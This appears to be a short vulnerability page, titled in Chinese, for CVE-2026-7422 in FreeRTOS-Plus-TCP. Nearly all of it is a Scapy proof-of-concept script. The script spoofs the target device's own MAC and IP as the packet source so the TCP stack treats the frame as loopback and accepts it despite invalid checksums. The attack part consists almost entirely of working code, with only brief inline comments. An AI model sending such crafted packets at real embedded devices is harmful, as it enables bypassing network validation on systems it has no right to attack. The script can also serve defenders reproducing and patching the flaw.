CVE-2026-7422 FreeRTOS-Plus-TCP 验证绕过漏洞

# PoC Concept: Spoofing Source MAC to bypass FreeRTOS-Plus-TCP validation # This script requires Scapy to run. # Target Interface MAC address (The MAC owned by the vulnerable device) target_mac = "00:11:22:33:44:55" # Construct a packet where Source MAC == Destination MAC (Target's MAC) # This tricks the device into thinking it's a loopback packet. packet = Ether(src=target_mac, dst=target_mac) / \ IP(src="192.168.1.100", dst="192.168.1.100", ihl=5, len=100) / \ TCP(sport=12345, dport=80) # Send the packet # The device should accept this packet even if checksums are invalid # due to the loopback detection bypass. sendp(packet, iface="eth0", verbose=1) print("[+] Packet sent with spoofed source MAC to bypass validation.")